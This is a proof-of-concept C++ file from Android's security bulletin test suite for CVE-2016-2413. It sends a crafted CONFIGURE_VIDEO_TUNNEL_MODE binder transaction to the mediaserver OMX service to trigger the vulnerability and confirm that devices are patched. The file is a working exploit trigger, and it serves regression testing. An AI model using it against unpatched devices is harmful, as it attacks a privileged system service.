hostsidetests/securitybulletin/securityPatch/CVE-2016-2413/poc.cpp

/**
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <media/IMediaPlayerService.h>
#include <media/IOMX.h>

using namespace android;

#define CONFIGURE_VIDEO_TUNNEL_MODE 31
#define ALLOCATE_NODE 4

struct DummyOMXObserver : public BnOMXObserver {
 public:
  DummyOMXObserver() {}
  virtual void onMessages(const std::list<omx_message> &) {}

 protected:
  virtual ~DummyOMXObserver() {}
};

int get_omx_node(sp<IOMX> omx) {
  Parcel reply;
  Parcel data;
  int node = 0;
  sp<DummyOMXObserver> expomx = new DummyOMXObserver();
  data.writeInterfaceToken(omx.get()->IOMX::getInterfaceDescriptor());

  data.writeCString("OMX.google.mp3.decoder");
  data.writeStrongBinder(IInterface::asBinder(expomx));

  sp<IBinder> binder = IInterface::asBinder(omx);
  binder->transact(ALLOCATE_NODE, data, &reply);
  status_t err = reply.readInt32();

  if (err == OK) {
    node = reply.readInt32();
  } else {
    node = 0xffff;
  }
  return node;
}

int main(void) {
  sp<IOMX> omx =
      interface_cast<IMediaPlayerService>(
          defaultServiceManager()->getService(String16("media.player")))
          ->getOMX();

  Parcel reply, data;
  int node = 0;

  data.writeInterfaceToken(omx.get()->IOMX::getInterfaceDescriptor());

  node = get_omx_node(omx);
  data.writeInt32(node);
  data.writeInt32(0xe4);
  data.writeInt32(0x0);
  data.writeInt32(2000);

  sp<IBinder> binder = IInterface::asBinder(omx);
  binder->transact(CONFIGURE_VIDEO_TUNNEL_MODE, data, &reply);
  return 0;
}